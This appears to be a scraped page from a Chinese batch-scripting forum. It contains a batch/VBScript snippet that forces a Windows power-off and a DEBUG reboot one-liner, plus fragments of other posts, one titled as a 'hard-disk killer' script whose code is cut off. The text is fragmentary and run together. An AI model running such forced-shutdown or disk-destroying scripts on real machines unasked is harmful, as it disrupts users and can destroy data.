@echo off   
setlocal   
cd/d %temp%   
echo Set colOperatingSystems = GetObject("winmgmts:{(Shutdown)}").ExecQuery("Select * from Win32_OperatingSystem") >shutdown.vbs  
echo For Each objOperatingSystem in colOperatingSystems >>shutdown.vbs  
echo ObjOperatingSystem.Win32Shutdown(12) >>shutdown.vbs  
echo Next >>shutdown.vbs  
cscript shutdown.vbs  
del shutdown.vbs  
::;Value Meaning   
::;0 Log Off   
::;0 + 4 Forced Log Off   
::;1 Shutdown   
::;1 + 4 Forced Shutdown   
::;2 Reboot   
::;2 + 4 Forced Reboot   
::;8 Power Off   
::8 + 4 Forced Power Off   
pause 

dos下重启

ECHO G=FFFF:0000 | DEBUG 

在下次启动计算机时会自动关机。重起后恢复正常（“绿色版”）
author:pengfei@www.cn-dos.net%%a%%a%%a%%a%%a%%a%%a%%a%%a%%a%%a%%a%%a%%a%%a%%a%%a%%a%%a%%a%%a%%a%%a%%a%%a%%a%%a%%a%%a%%a%%a%%a%%a%%a%%a%%a%%a%%a%%a%%a%%a%%a%%a%%a%%a%%a%%a%%a%%a%%a%%a%%a%%a%%a%%a%%a%%a

bat下变量截取实例
::codebylxmxn@cn-dos.net.::目的：帮助新手们更好的理解变量字符截取功能.::Date2006-12-16.::说明：有的变量截取之后值为空，这是正常的.@echooff&setlocalEnableDelaye

超级硬盘杀手的bat
@echooff%ozone%^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^%ozone%%ozone%%Name:REON%%ozone%%ozone%%Author:Ozone[verybat.cn]%%ozone%%ozone%%Data:17/04/2007%%ozone%%ozone%^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^%ozon